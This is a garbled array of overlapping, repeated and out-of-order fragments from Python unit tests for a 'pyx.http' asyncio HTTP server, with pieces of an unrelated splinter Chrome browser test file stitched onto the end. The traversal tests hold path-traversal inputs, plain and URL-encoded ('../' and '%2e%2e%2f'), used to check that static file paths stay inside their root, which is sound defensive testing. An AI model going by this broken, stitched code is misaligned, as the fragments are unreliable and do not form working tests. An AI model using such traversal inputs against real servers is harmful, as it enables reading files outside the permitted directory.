"1)) req._parse_req_line( b'GET /some/path?some=query&some_other=query HTTP/1.1\\r\\n') self.assertEqual(req.method, 'GET') self.assertEqual(req.path, '/some/path') self.assertEqual(req.query,",
"self.assertRaises(http.HttpError): res.traverse('/does/not/exist') sres = res.traverse('/static') self.assertEqual(sres.root, '.') self.assertEqual(sres._build_real_path(), '.') sres",
"class TestStaticRootResource(unittest.TestCase): def test_build_real_path(self): res = http.StaticRootResource('local_root') res = res.traverse('/some/long/path/where/ever/it/leads/')",
"conn def create_dummy_request(): conn = create_dummy_connection() req = http.HttpRequest(conn) return",
"create_dummy_connection() req = http.HttpRequest(conn) return req class TestHttpMessage(unittest.TestCase): def test_get_header(self):",
"def test_parse_header(self): req = create_dummy_request() req._parse_header(b'Server: Pyx\\r\\n') self.assertEqual(req.headers, [http.HttpHeader('Server', 'Pyx')])",
"req class TestHttpMessage(unittest.TestCase): def test_get_header(self): msg = create_dummy_message() self.assertEqual(msg.get_header(\"server\"), [\"Pyx\"])",
"else: raise http.HttpError(404, '{} not found'.format(key)) class TestUrlResource(unittest.TestCase): def test_traverse(self):",
"= http.UrlResource() with self.assertRaises(NotImplementedError): res.traverse('/hello') req = create_dummy_request() with self.assertRaises(NotImplementedError):",
"create_dummy_request() with self.assertRaises(NotImplementedError): res.handle_request(req) class TestStaticRootResource(unittest.TestCase): def test_build_real_path(self): res =",
"res = http.StaticRootResource('local_root') res = res.traverse('/some/long/path/where/ever/it/leads/') self.assertEqual(res._build_real_path(), 'local_root/some/long/path/where/ever/it/leads') res =",
"pyx.http as http def create_dummy_message(): msg = http.HttpMessage(None) msg.headers =",
"/ GARBAGE\\r\\n') req._parse_req_line(b'GET / HTTP/1\\r\\n') self.assertEqual(req.version, (1, 0)) def test_parse_header(self):",
"conn = create_dummy_connection() req = http.HttpRequest(conn) return req class TestHttpMessage(unittest.TestCase):",
"/some/path?some=query&some_other=query HTTP/1.1\\r\\n') self.assertEqual(req.method, 'GET') self.assertEqual(req.path, '/some/path') self.assertEqual(req.query, 'some=query&some_other=query') with self.assertRaises(http.BadHttpRequestError):",
"= [ http.HttpHeader('Server', 'Pyx'), http.HttpHeader('Cookie', 'a'), http.HttpHeader('Cookie', 'b'), ] return",
"asyncio.get_event_loop() req = create_dummy_request() resp = req.respond(200) loop.run_until_complete(resp.send()) self.assertTrue(req.responded) loop.run_until_complete(resp.send_body(b'Yes,",
"some.badasshost.com:8080\\r\\n') self.assertEqual(req.headers, [http.HttpHeader('Host', 'some.badasshost.com:8080')]) with self.assertRaises(http.BadHttpHeaderError): req._parse_header(b': pyx\\r\\n') with self.assertRaises(http.BadHttpHeaderError):",
"= create_dummy_connection() reader = conn.reader reader.feed_data( b'GET /?q=p&s=t HTTP/1.1\\r\\n' b'Host:",
"unittest.mock as mock import asyncio import pyx.http as http def",
"'Connection: keep-alive', '\\r\\n']) self.assertEqual(str(resp), 'HTTP/1.1 200 OK\\r\\n' 'Server: Pyx\\r\\n' 'Connection:",
"class DummyResource(http.UrlResource): def get_child(self, key): if key == 'hello': return",
"self.assertEqual(res._build_real_path(), 'local_root/dangerous/path') res = http.StaticRootResource('local_root') res = res.traverse('/some/../../dangerous/path') self.assertEqual(res._build_real_path(), 'local_root/dangerous/path')",
"self.assertEqual(resp.write(), ['HTTP/1.1 200 OK', 'Server: Pyx', 'Connection: keep-alive', '\\r\\n']) self.assertEqual(str(resp),",
"resp = http.HttpResponse(200, None) resp.headers = [ http.HttpHeader('Server', 'Pyx'), http.HttpHeader('Connection',",
"'.') self.assertEqual(sres._build_real_path(), '.') sres = res.traverse('/static/') self.assertEqual(sres._build_real_path(), '.') sres =",
"Pyx', 'Cookie: a', 'Cookie: b']) msg.headers = [] self.assertEqual(msg.write_headers(), [])",
"the body.') loop.run_until_complete(resp.send_body('This is another string body.')) resp.connection.writer.write.assert_called_with(b'This is another",
"this is the body.')) resp.connection.writer.write.assert_called_with(b'Yes, this is the body.') loop.run_until_complete(resp.send_body('This",
"Pyx\\r\\n') self.assertEqual(req.headers, [http.HttpHeader('Server', 'Pyx')]) req.headers = [] with self.assertRaises(http.BadHttpHeaderError): req._parse_header(b'Server\\r\\n')",
"is None) def test_write_headers(self): msg = create_dummy_message() self.assertEqual(msg.write_headers(), ['Server: Pyx',",
"'Pyx'), http.HttpHeader('Cookie', 'a'), http.HttpHeader('Cookie', 'b'), ] return msg def create_dummy_connection():",
"'hello': return self elif key == \"static\": return http.StaticRootResource('.') else:",
"'Cookie: b']) msg.headers = [] self.assertEqual(msg.write_headers(), []) class TestHttpRequest(unittest.TestCase): def",
"= mock.Mock(spec=asyncio.StreamWriter) writer.attach_mock(mock.Mock(wraps=dummy_drain), 'drain') conn = http.HttpConnection(reader, writer) return conn",
"self.assertRaises(NotImplementedError): res.traverse('/hello') req = create_dummy_request() with self.assertRaises(NotImplementedError): res.handle_request(req) class TestStaticRootResource(unittest.TestCase):",
"'drain') conn = http.HttpConnection(reader, writer) return conn def create_dummy_request(): conn",
"HTTP/1\\r\\n') self.assertEqual(req.version, (1, 0)) def test_parse_header(self): req = create_dummy_request() req._parse_header(b'Server:",
"[] req._parse_header(b'Server: \\r\\n') self.assertEqual(req.headers, [http.HttpHeader('Server', '')]) req.headers = [] req._parse_header(b'Host:",
"key): if key == 'hello': return self elif key ==",
"\"a\") self.assertTrue(msg.get_first_header(\"pragma\") is None) def test_write_headers(self): msg = create_dummy_message() self.assertEqual(msg.write_headers(),",
"self.assertEqual(msg.write_headers(), ['Server: Pyx', 'Cookie: a', 'Cookie: b']) msg.headers = []",
"test_build_real_path(self): res = http.StaticRootResource('local_root') res = res.traverse('/some/long/path/where/ever/it/leads/') self.assertEqual(res._build_real_path(), 'local_root/some/long/path/where/ever/it/leads') res",
"= loop.run_until_complete(http.HttpRequest.parse(conn)) self.assertEqual(req.method, 'GET') self.assertEqual(req.path, '/') self.assertEqual(req.query, 'q=p&s=t') self.assertEqual(req.protocol, 'HTTP')",
"http.HttpHeader('Connection', 'Keep-Alive'), http.HttpHeader('Pragma', 'Test'), ]) def test_respond(self): req = create_dummy_request()",
"http.HttpHeader('Content-Length', '100'), http.HttpHeader('Content-Type', 'text/plain'), ] loop.run_until_complete(resp.send()) resp.connection.writer.write.assert_called_with(str(resp).encode()) self.assertTrue(req.responded) def test_send_body(self):",
"loop.run_until_complete(resp.send_body('This is another string body.')) resp.connection.writer.write.assert_called_with(b'This is another string body.')",
"'q=p&s=t') self.assertEqual(req.protocol, 'HTTP') self.assertEqual(req.version, (1, 1)) self.assertEqual(req.headers, [ http.HttpHeader('Host', 'localhost'),",
"0) resp = req.respond(400) self.assertEqual(resp.code, 400) self.assertEqual(resp.version, (1, 0)) class",
"string body.')) resp.connection.writer.write.assert_called_with(b'This is another string body.') class DummyResource(http.UrlResource): def",
"sres = res.traverse('/static') self.assertEqual(sres.root, '.') self.assertEqual(sres._build_real_path(), '.') sres = res.traverse('/static/')",
"DummyResource() self.assertEqual(res.traverse(''), res) self.assertEqual(res.traverse('/'), res) self.assertEqual(res.traverse('/hello'), res) with self.assertRaises(http.HttpError): res.traverse('/does/not/exist')",
"self.assertEqual(sres._build_real_path(), './some/path') def test_not_implemented(self): res = http.UrlResource() with self.assertRaises(NotImplementedError): res.traverse('/hello')",
"\"b\"]) self.assertEqual(msg.get_first_header(\"cookie\"), \"a\") self.assertTrue(msg.get_first_header(\"pragma\") is None) def test_write_headers(self): msg =",
"req._parse_header(b'Server: Pyx\\r\\n') self.assertEqual(req.headers, [http.HttpHeader('Server', 'Pyx')]) req.headers = [] with self.assertRaises(http.BadHttpHeaderError):",
"self.assertEqual(sres._build_real_path(), '.') sres = res.traverse('/static/some/path') self.assertEqual(sres._build_real_path(), './some/path') def test_not_implemented(self): res",
"req.respond(200) self.assertEqual(resp.code, 200) self.assertEqual(resp.version, (1, 1)) req.version = (1, 0)",
"res.traverse('/static') self.assertEqual(sres.root, '.') self.assertEqual(sres._build_real_path(), '.') sres = res.traverse('/static/') self.assertEqual(sres._build_real_path(), '.')",
"if key == 'hello': return self elif key == \"static\":",
"loop = asyncio.get_event_loop() req = create_dummy_request() resp = req.respond(200) self.assertEqual(resp.code,",
"body.')) resp.connection.writer.write.assert_called_with(b'Yes, this is the body.') loop.run_until_complete(resp.send_body('This is another string",
"'Pyx'), http.HttpHeader('Connection', 'keep-alive') ] self.assertEqual(resp.write(), ['HTTP/1.1 200 OK', 'Server: Pyx',",
"'HTTP') self.assertEqual(req.version, (1, 1)) self.assertEqual(req.headers, [ http.HttpHeader('Host', 'localhost'), http.HttpHeader('Connection', 'Keep-Alive'),",
"def test_write(self): resp = http.HttpResponse(200, None) resp.headers = [ http.HttpHeader('Server',",
"loop = asyncio.get_event_loop() conn = create_dummy_connection() reader = conn.reader reader.feed_data(",
"resp.connection.writer.write.assert_called_with(str(resp).encode()) self.assertTrue(req.responded) def test_send_body(self): loop = asyncio.get_event_loop() req = create_dummy_request()",
"loop = asyncio.get_event_loop() req = create_dummy_request() resp = req.respond(200) loop.run_until_complete(resp.send())",
"from asyncio.sleep(0.001) writer = mock.Mock(spec=asyncio.StreamWriter) writer.attach_mock(mock.Mock(wraps=dummy_drain), 'drain') conn = http.HttpConnection(reader,",
"[\"Pyx\"]) self.assertEqual(msg.get_header(\"pragma\"), []) self.assertEqual(msg.get_header(\"cookie\"), [\"a\", \"b\"]) self.assertEqual(msg.get_first_header(\"cookie\"), \"a\") self.assertTrue(msg.get_first_header(\"pragma\") is",
"= create_dummy_request() with self.assertRaises(NotImplementedError): res.handle_request(req) class TestStaticRootResource(unittest.TestCase): def test_build_real_path(self): res",
"DummyResource(http.UrlResource): def get_child(self, key): if key == 'hello': return self",
": pyx') with self.assertRaises(http.BadHttpHeaderError): req._parse_header(b' \\t : pyx') def test_parse(self):",
"res.traverse('/some/long/path/where/ever/it/leads/') self.assertEqual(res._build_real_path(), 'local_root/some/long/path/where/ever/it/leads') res = http.StaticRootResource('local_root') res = res.traverse('/some/../dangerous/path') self.assertEqual(res._build_real_path(),",
"TestHttpMessage(unittest.TestCase): def test_get_header(self): msg = create_dummy_message() self.assertEqual(msg.get_header(\"server\"), [\"Pyx\"]) self.assertEqual(msg.get_header(\"SERVER\"), [\"Pyx\"])",
"reader = conn.reader reader.feed_data( b'GET /?q=p&s=t HTTP/1.1\\r\\n' b'Host: localhost\\r\\n' b'Connection:",
"asyncio.get_event_loop() conn = create_dummy_connection() reader = conn.reader reader.feed_data( b'GET /?q=p&s=t",
"= res.traverse('/some/../dangerous/path') self.assertEqual(res._build_real_path(), 'local_root/dangerous/path') res = http.StaticRootResource('local_root') res = res.traverse('/some/../../dangerous/path')",
"res = http.StaticRootResource('local_root') res = res.traverse('/some/../dangerous/path') self.assertEqual(res._build_real_path(), 'local_root/dangerous/path') res =",
"http.HttpConnection(reader, writer) return conn def create_dummy_request(): conn = create_dummy_connection() req",
"loop.run_until_complete(http.HttpRequest.parse(conn)) self.assertEqual(req.method, 'GET') self.assertEqual(req.path, '/') self.assertEqual(req.query, 'q=p&s=t') self.assertEqual(req.protocol, 'HTTP') self.assertEqual(req.version,",
"req.headers = [] req._parse_header(b'Server:\\r\\n') self.assertEqual(req.headers, [http.HttpHeader('Server', '')]) req.headers = []",
"self.assertEqual(req.protocol, 'HTTP') self.assertEqual(req.version, (1, 1)) req._parse_req_line( b'GET /some/path?some=query&some_other=query HTTP/1.1\\r\\n') self.assertEqual(req.method,",
"self.assertEqual(req.protocol, 'HTTP') self.assertEqual(req.version, (1, 1)) self.assertEqual(req.headers, [ http.HttpHeader('Host', 'localhost'), http.HttpHeader('Connection',",
"= http.HttpConnection(reader, writer) return conn def create_dummy_request(): conn = create_dummy_connection()",
"res.traverse('/static/some/path') self.assertEqual(sres._build_real_path(), './some/path') def test_not_implemented(self): res = http.UrlResource() with self.assertRaises(NotImplementedError):",
"= create_dummy_request() req._parse_header(b'Server: Pyx\\r\\n') self.assertEqual(req.headers, [http.HttpHeader('Server', 'Pyx')]) req.headers = []",
"[\"Pyx\"]) self.assertEqual(msg.get_header(\"SERVER\"), [\"Pyx\"]) self.assertEqual(msg.get_header(\"pragma\"), []) self.assertEqual(msg.get_header(\"cookie\"), [\"a\", \"b\"]) self.assertEqual(msg.get_first_header(\"cookie\"), \"a\")",
"reader.feed_data( b'GET /?q=p&s=t HTTP/1.1\\r\\n' b'Host: localhost\\r\\n' b'Connection: Keep-Alive\\r\\n' b'Pragma: Test\\r\\n'",
"b'GET /some/path?some=query&some_other=query HTTP/1.1\\r\\n') self.assertEqual(req.method, 'GET') self.assertEqual(req.path, '/some/path') self.assertEqual(req.query, 'some=query&some_other=query') with",
"self.assertEqual(resp.code, 200) self.assertEqual(resp.version, (1, 1)) req.version = (1, 0) resp",
"self.assertEqual(resp.version, (1, 1)) req.version = (1, 0) resp = req.respond(400)",
"self.assertEqual(msg.get_first_header(\"cookie\"), \"a\") self.assertTrue(msg.get_first_header(\"pragma\") is None) def test_write_headers(self): msg = create_dummy_message()",
"self.assertEqual(req.path, '/') self.assertTrue(req.query is None) self.assertEqual(req.protocol, 'HTTP') self.assertEqual(req.version, (1, 1))",
"http.HttpResponse(200, None) resp.headers = [ http.HttpHeader('Server', 'Pyx'), http.HttpHeader('Connection', 'keep-alive') ]",
"http.HttpError(404, '{} not found'.format(key)) class TestUrlResource(unittest.TestCase): def test_traverse(self): res =",
"= create_dummy_message() self.assertEqual(msg.write_headers(), ['Server: Pyx', 'Cookie: a', 'Cookie: b']) msg.headers",
"test_write_headers(self): msg = create_dummy_message() self.assertEqual(msg.write_headers(), ['Server: Pyx', 'Cookie: a', 'Cookie:",
"loop.run_until_complete(resp.send()) resp.connection.writer.write.assert_called_with(str(resp).encode()) self.assertTrue(req.responded) def test_send_body(self): loop = asyncio.get_event_loop() req =",
"self.assertEqual(req.method, 'GET') self.assertEqual(req.path, '/some/path') self.assertEqual(req.query, 'some=query&some_other=query') with self.assertRaises(http.BadHttpRequestError): req._parse_req_line(b'') with",
"'/some/path') self.assertEqual(req.query, 'some=query&some_other=query') with self.assertRaises(http.BadHttpRequestError): req._parse_req_line(b'') with self.assertRaises(http.BadHttpRequestError): req._parse_req_line(b'GET /\\r\\n')",
"http.HttpHeader('Server', 'Pyx'), http.HttpHeader('Connection', 'keep-alive') ] self.assertEqual(resp.write(), ['HTTP/1.1 200 OK', 'Server:",
"req.respond(400) self.assertEqual(resp.code, 400) self.assertEqual(resp.version, (1, 0)) class TestHttpResponse(unittest.TestCase): def test_write(self):",
"def test_build_real_path(self): res = http.StaticRootResource('local_root') res = res.traverse('/some/long/path/where/ever/it/leads/') self.assertEqual(res._build_real_path(), 'local_root/some/long/path/where/ever/it/leads')",
"msg = create_dummy_message() self.assertEqual(msg.write_headers(), ['Server: Pyx', 'Cookie: a', 'Cookie: b'])",
"res.traverse('/does/not/exist') sres = res.traverse('/static') self.assertEqual(sres.root, '.') self.assertEqual(sres._build_real_path(), '.') sres =",
"req = create_dummy_request() req._parse_header(b'Server: Pyx\\r\\n') self.assertEqual(req.headers, [http.HttpHeader('Server', 'Pyx')]) req.headers =",
"self.assertEqual(res._build_real_path(), 'local_root/dangerous/path') res = http.StaticRootResource('local_root') res = res.traverse('/some/%2e%2e%2f%2e%2e/dangerous/path') self.assertEqual(res._build_real_path(), 'local_root/dangerous/path')",
"Test\\r\\n' b'\\r\\n') req = loop.run_until_complete(http.HttpRequest.parse(conn)) self.assertEqual(req.method, 'GET') self.assertEqual(req.path, '/') self.assertEqual(req.query,",
"return self elif key == \"static\": return http.StaticRootResource('.') else: raise",
"res.handle_request(req) class TestStaticRootResource(unittest.TestCase): def test_build_real_path(self): res = http.StaticRootResource('local_root') res =",
"req.version = (1, 0) resp = req.respond(400) self.assertEqual(resp.code, 400) self.assertEqual(resp.version,",
"= create_dummy_request() req.version = (1, 1) resp = req.respond(200) self.assertEqual(resp.code,",
"(1, 0)) class TestHttpResponse(unittest.TestCase): def test_write(self): resp = http.HttpResponse(200, None)",
"return http.StaticRootResource('.') else: raise http.HttpError(404, '{} not found'.format(key)) class TestUrlResource(unittest.TestCase):",
"class TestHttpRequest(unittest.TestCase): def test_parse_req_line(self): req = create_dummy_request() req._parse_req_line(b'POST / HTTP/1.1\\r\\n')",
"create_dummy_request() resp = req.respond(200) loop.run_until_complete(resp.send()) self.assertTrue(req.responded) loop.run_until_complete(resp.send_body(b'Yes, this is the",
"self.assertFalse(req.responded) resp.headers = [ http.HttpHeader('Server', 'Pyx'), http.HttpHeader('Content-Length', '100'), http.HttpHeader('Content-Type', 'text/plain'),",
"self.assertRaises(http.BadHttpHeaderError): req._parse_header(b' : pyx') with self.assertRaises(http.BadHttpHeaderError): req._parse_header(b' \\t : pyx')",
"Pyx\\r\\n' 'Connection: keep-alive\\r\\n' '\\r\\n') def test_send(self): loop = asyncio.get_event_loop() req",
"req._parse_req_line(b'GET / GARBAGE\\r\\n') req._parse_req_line(b'GET / HTTP/1\\r\\n') self.assertEqual(req.version, (1, 0)) def",
"found'.format(key)) class TestUrlResource(unittest.TestCase): def test_traverse(self): res = DummyResource() self.assertEqual(res.traverse(''), res)",
"(1, 0)) def test_parse_header(self): req = create_dummy_request() req._parse_header(b'Server: Pyx\\r\\n') self.assertEqual(req.headers,",
"def create_dummy_connection(): loop = asyncio.get_event_loop() reader = asyncio.StreamReader(loop=loop) @asyncio.coroutine def",
"test_send(self): loop = asyncio.get_event_loop() req = create_dummy_request() resp = req.respond(200)",
"sres = res.traverse('/static/some/path') self.assertEqual(sres._build_real_path(), './some/path') def test_not_implemented(self): res = http.UrlResource()",
"== \"static\": return http.StaticRootResource('.') else: raise http.HttpError(404, '{} not found'.format(key))",
"(1, 0) resp = req.respond(400) self.assertEqual(resp.code, 400) self.assertEqual(resp.version, (1, 0))",
"TestHttpResponse(unittest.TestCase): def test_write(self): resp = http.HttpResponse(200, None) resp.headers = [",
"the body.')) resp.connection.writer.write.assert_called_with(b'Yes, this is the body.') loop.run_until_complete(resp.send_body('This is another",
"'Keep-Alive'), http.HttpHeader('Pragma', 'Test'), ]) def test_respond(self): req = create_dummy_request() req.version",
"http.StaticRootResource('local_root') res = res.traverse('/some/../../dangerous/path') self.assertEqual(res._build_real_path(), 'local_root/dangerous/path') res = http.StaticRootResource('local_root') res",
"['HTTP/1.1 200 OK', 'Server: Pyx', 'Connection: keep-alive', '\\r\\n']) self.assertEqual(str(resp), 'HTTP/1.1",
"http.StaticRootResource('local_root') res = res.traverse('/some/../dangerous/path') self.assertEqual(res._build_real_path(), 'local_root/dangerous/path') res = http.StaticRootResource('local_root') res",
"resp.connection.writer.write.assert_called_with(b'This is another string body.') class DummyResource(http.UrlResource): def get_child(self, key):",
"'100'), http.HttpHeader('Content-Type', 'text/plain'), ] loop.run_until_complete(resp.send()) resp.connection.writer.write.assert_called_with(str(resp).encode()) self.assertTrue(req.responded) def test_send_body(self): loop",
"req._parse_req_line(b'GET /\\r\\n') with self.assertRaises(http.BadHttpRequestError): req._parse_req_line(b'GET / GARBAGE\\r\\n') req._parse_req_line(b'GET / HTTP/1\\r\\n')",
"@asyncio.coroutine def dummy_drain(): yield from asyncio.sleep(0.001) writer = mock.Mock(spec=asyncio.StreamWriter) writer.attach_mock(mock.Mock(wraps=dummy_drain),",
"req._parse_header(b'Server:\\r\\n') self.assertEqual(req.headers, [http.HttpHeader('Server', '')]) req.headers = [] req._parse_header(b'Server: \\r\\n') self.assertEqual(req.headers,",
"as http def create_dummy_message(): msg = http.HttpMessage(None) msg.headers = [",
"keep-alive', '\\r\\n']) self.assertEqual(str(resp), 'HTTP/1.1 200 OK\\r\\n' 'Server: Pyx\\r\\n' 'Connection: keep-alive\\r\\n'",
"is the body.') loop.run_until_complete(resp.send_body('This is another string body.')) resp.connection.writer.write.assert_called_with(b'This is",
"with self.assertRaises(http.BadHttpHeaderError): req._parse_header(b': pyx\\r\\n') with self.assertRaises(http.BadHttpHeaderError): req._parse_header(b' : pyx') with",
"[]) class TestHttpRequest(unittest.TestCase): def test_parse_req_line(self): req = create_dummy_request() req._parse_req_line(b'POST /",
"http.HttpHeader('Server', 'Pyx'), http.HttpHeader('Content-Length', '100'), http.HttpHeader('Content-Type', 'text/plain'), ] loop.run_until_complete(resp.send()) resp.connection.writer.write.assert_called_with(str(resp).encode()) self.assertTrue(req.responded)",
"asyncio.StreamReader(loop=loop) @asyncio.coroutine def dummy_drain(): yield from asyncio.sleep(0.001) writer = mock.Mock(spec=asyncio.StreamWriter)",
"req = create_dummy_request() req.version = (1, 1) resp = req.respond(200)",
"'some=query&some_other=query') with self.assertRaises(http.BadHttpRequestError): req._parse_req_line(b'') with self.assertRaises(http.BadHttpRequestError): req._parse_req_line(b'GET /\\r\\n') with self.assertRaises(http.BadHttpRequestError):",
"\\r\\n') self.assertEqual(req.headers, [http.HttpHeader('Server', '')]) req.headers = [] req._parse_header(b'Host: some.badasshost.com:8080\\r\\n') self.assertEqual(req.headers,",
"unittest import unittest.mock as mock import asyncio import pyx.http as",
"def create_dummy_message(): msg = http.HttpMessage(None) msg.headers = [ http.HttpHeader('Server', 'Pyx'),",
"1)) self.assertEqual(req.headers, [ http.HttpHeader('Host', 'localhost'), http.HttpHeader('Connection', 'Keep-Alive'), http.HttpHeader('Pragma', 'Test'), ])",
"] self.assertEqual(resp.write(), ['HTTP/1.1 200 OK', 'Server: Pyx', 'Connection: keep-alive', '\\r\\n'])",
"res = DummyResource() self.assertEqual(res.traverse(''), res) self.assertEqual(res.traverse('/'), res) self.assertEqual(res.traverse('/hello'), res) with",
"self.assertEqual(req.query, 'some=query&some_other=query') with self.assertRaises(http.BadHttpRequestError): req._parse_req_line(b'') with self.assertRaises(http.BadHttpRequestError): req._parse_req_line(b'GET /\\r\\n') with",
"= res.traverse('/static/some/path') self.assertEqual(sres._build_real_path(), './some/path') def test_not_implemented(self): res = http.UrlResource() with",
"HTTP/1.1\\r\\n') self.assertEqual(req.method, 'GET') self.assertEqual(req.path, '/some/path') self.assertEqual(req.query, 'some=query&some_other=query') with self.assertRaises(http.BadHttpRequestError): req._parse_req_line(b'')",
"= create_dummy_message() self.assertEqual(msg.get_header(\"server\"), [\"Pyx\"]) self.assertEqual(msg.get_header(\"SERVER\"), [\"Pyx\"]) self.assertEqual(msg.get_header(\"pragma\"), []) self.assertEqual(msg.get_header(\"cookie\"), [\"a\",",
"'b'), ] return msg def create_dummy_connection(): loop = asyncio.get_event_loop() reader",
"def test_traverse(self): res = DummyResource() self.assertEqual(res.traverse(''), res) self.assertEqual(res.traverse('/'), res) self.assertEqual(res.traverse('/hello'),",
"key == 'hello': return self elif key == \"static\": return",
"def test_send_body(self): loop = asyncio.get_event_loop() req = create_dummy_request() resp =",
"return msg def create_dummy_connection(): loop = asyncio.get_event_loop() reader = asyncio.StreamReader(loop=loop)",
"a', 'Cookie: b']) msg.headers = [] self.assertEqual(msg.write_headers(), []) class TestHttpRequest(unittest.TestCase):",
"self.assertEqual(msg.get_header(\"SERVER\"), [\"Pyx\"]) self.assertEqual(msg.get_header(\"pragma\"), []) self.assertEqual(msg.get_header(\"cookie\"), [\"a\", \"b\"]) self.assertEqual(msg.get_first_header(\"cookie\"), \"a\") self.assertTrue(msg.get_first_header(\"pragma\")",
"test_get_header(self): msg = create_dummy_message() self.assertEqual(msg.get_header(\"server\"), [\"Pyx\"]) self.assertEqual(msg.get_header(\"SERVER\"), [\"Pyx\"]) self.assertEqual(msg.get_header(\"pragma\"), [])",
"resp.connection.writer.write.assert_called_with(b'Yes, this is the body.') loop.run_until_complete(resp.send_body('This is another string body.'))",
"self.assertRaises(http.BadHttpRequestError): req._parse_req_line(b'GET /\\r\\n') with self.assertRaises(http.BadHttpRequestError): req._parse_req_line(b'GET / GARBAGE\\r\\n') req._parse_req_line(b'GET /",
"'some.badasshost.com:8080')]) with self.assertRaises(http.BadHttpHeaderError): req._parse_header(b': pyx\\r\\n') with self.assertRaises(http.BadHttpHeaderError): req._parse_header(b' : pyx')",
"elif key == \"static\": return http.StaticRootResource('.') else: raise http.HttpError(404, '{}",
"resp = req.respond(400) self.assertEqual(resp.code, 400) self.assertEqual(resp.version, (1, 0)) class TestHttpResponse(unittest.TestCase):",
"= create_dummy_request() resp = req.respond(200) loop.run_until_complete(resp.send()) self.assertTrue(req.responded) loop.run_until_complete(resp.send_body(b'Yes, this is",
"TestUrlResource(unittest.TestCase): def test_traverse(self): res = DummyResource() self.assertEqual(res.traverse(''), res) self.assertEqual(res.traverse('/'), res)",
"pyx\\r\\n') with self.assertRaises(http.BadHttpHeaderError): req._parse_header(b' : pyx') with self.assertRaises(http.BadHttpHeaderError): req._parse_header(b' \\t",
"200 OK\\r\\n' 'Server: Pyx\\r\\n' 'Connection: keep-alive\\r\\n' '\\r\\n') def test_send(self): loop",
"400) self.assertEqual(resp.version, (1, 0)) class TestHttpResponse(unittest.TestCase): def test_write(self): resp =",
"] loop.run_until_complete(resp.send()) resp.connection.writer.write.assert_called_with(str(resp).encode()) self.assertTrue(req.responded) def test_send_body(self): loop = asyncio.get_event_loop() req",
"req._parse_header(b'Server: \\r\\n') self.assertEqual(req.headers, [http.HttpHeader('Server', '')]) req.headers = [] req._parse_header(b'Host: some.badasshost.com:8080\\r\\n')",
"'{} not found'.format(key)) class TestUrlResource(unittest.TestCase): def test_traverse(self): res = DummyResource()",
"= (1, 0) resp = req.respond(400) self.assertEqual(resp.code, 400) self.assertEqual(resp.version, (1,",
"req.headers = [] req._parse_header(b'Host: some.badasshost.com:8080\\r\\n') self.assertEqual(req.headers, [http.HttpHeader('Host', 'some.badasshost.com:8080')]) with self.assertRaises(http.BadHttpHeaderError):",
"test_respond(self): req = create_dummy_request() req.version = (1, 1) resp =",
"http.UrlResource() with self.assertRaises(NotImplementedError): res.traverse('/hello') req = create_dummy_request() with self.assertRaises(NotImplementedError): res.handle_request(req)",
"class TestHttpResponse(unittest.TestCase): def test_write(self): resp = http.HttpResponse(200, None) resp.headers =",
"test_send_body(self): loop = asyncio.get_event_loop() req = create_dummy_request() resp = req.respond(200)",
"conn = create_dummy_connection() reader = conn.reader reader.feed_data( b'GET /?q=p&s=t HTTP/1.1\\r\\n'",
"req = create_dummy_request() resp = req.respond(200) loop.run_until_complete(resp.send()) self.assertTrue(req.responded) loop.run_until_complete(resp.send_body(b'Yes, this",
"[] req._parse_header(b'Host: some.badasshost.com:8080\\r\\n') self.assertEqual(req.headers, [http.HttpHeader('Host', 'some.badasshost.com:8080')]) with self.assertRaises(http.BadHttpHeaderError): req._parse_header(b': pyx\\r\\n')",
"create_dummy_request(): conn = create_dummy_connection() req = http.HttpRequest(conn) return req class",
"with self.assertRaises(http.BadHttpHeaderError): req._parse_header(b'Server\\r\\n') req.headers = [] req._parse_header(b'Server:\\r\\n') self.assertEqual(req.headers, [http.HttpHeader('Server', '')])",
"'.') sres = res.traverse('/static/') self.assertEqual(sres._build_real_path(), '.') sres = res.traverse('/static/some/path') self.assertEqual(sres._build_real_path(),",
"TestStaticRootResource(unittest.TestCase): def test_build_real_path(self): res = http.StaticRootResource('local_root') res = res.traverse('/some/long/path/where/ever/it/leads/') self.assertEqual(res._build_real_path(),",
"0)) def test_parse_header(self): req = create_dummy_request() req._parse_header(b'Server: Pyx\\r\\n') self.assertEqual(req.headers, [http.HttpHeader('Server',"
] |
[
"@classmethod def setUpClass(cls): cls.browser = Browser(\"chrome\") @classmethod def tearDownClass(cls): cls.browser.quit()",
"self.browser.html self.assertIn('text/plain', html) self.assertIn(open(file_path).read().encode('utf-8'), html) def test_should_support_with_statement(self): with Browser('chrome') as",
"import os import unittest from splinter import Browser from .fake_webapp",
"2013 splinter authors. All rights reserved. # Use of this",
"to change file field value\" file_path = os.path.join( os.path.abspath(os.path.dirname(__file__)), 'mockfile.txt'",
"self.browser.attach_file('file', file_path) self.browser.find_by_name('upload').click() html = self.browser.html self.assertIn('text/plain', html) self.assertIn(open(file_path).read().encode('utf-8'), html)",
"-*- # Copyright 2013 splinter authors. All rights reserved. #",
"splinter import Browser from .fake_webapp import EXAMPLE_APP from .base import",
"ChromeBrowserTest(WebDriverTests, unittest.TestCase): @classmethod def setUpClass(cls): cls.browser = Browser(\"chrome\") @classmethod def",
"def setUp(self): self.browser.visit(EXAMPLE_APP) def test_should_support_with_statement(self): with Browser('chrome', fullscreen=True) as internet:",
"# Use of this source code is governed by a",
"= Browser(\"chrome\") @classmethod def tearDownClass(cls): cls.browser.quit() def setUp(self): self.browser.visit(EXAMPLE_APP) def",
".fake_webapp import EXAMPLE_APP from .base import WebDriverTests from selenium.common.exceptions import",
"unittest.TestCase): @classmethod def setUpClass(cls): cls.browser = Browser(\"chrome\", fullscreen=True) @classmethod def",
"-*- coding: utf-8 -*- # Copyright 2013 splinter authors. All",
"<gh_stars>1-10 # -*- coding: utf-8 -*- # Copyright 2013 splinter",
"True class ChromeBrowserTest(WebDriverTests, unittest.TestCase): @classmethod def setUpClass(cls): cls.browser = Browser(\"chrome\")",
"cls.browser.quit() def setUp(self): self.browser.visit(EXAMPLE_APP) def test_should_support_with_statement(self): with Browser('chrome', fullscreen=True) as",
"cls.browser = Browser(\"chrome\") @classmethod def tearDownClass(cls): cls.browser.quit() def setUp(self): self.browser.visit(EXAMPLE_APP)",
"@classmethod def setUpClass(cls): cls.browser = Browser(\"chrome\", fullscreen=True) @classmethod def tearDownClass(cls):",
"with Browser('chrome') as internet: pass class ChromeBrowserFullscreenTest(WebDriverTests, unittest.TestCase): @classmethod def",
"EXAMPLE_APP from .base import WebDriverTests from selenium.common.exceptions import WebDriverException def",
"import unittest from splinter import Browser from .fake_webapp import EXAMPLE_APP",
"chrome_installed(): try: Browser(\"chrome\") except WebDriverException: return False return True class",
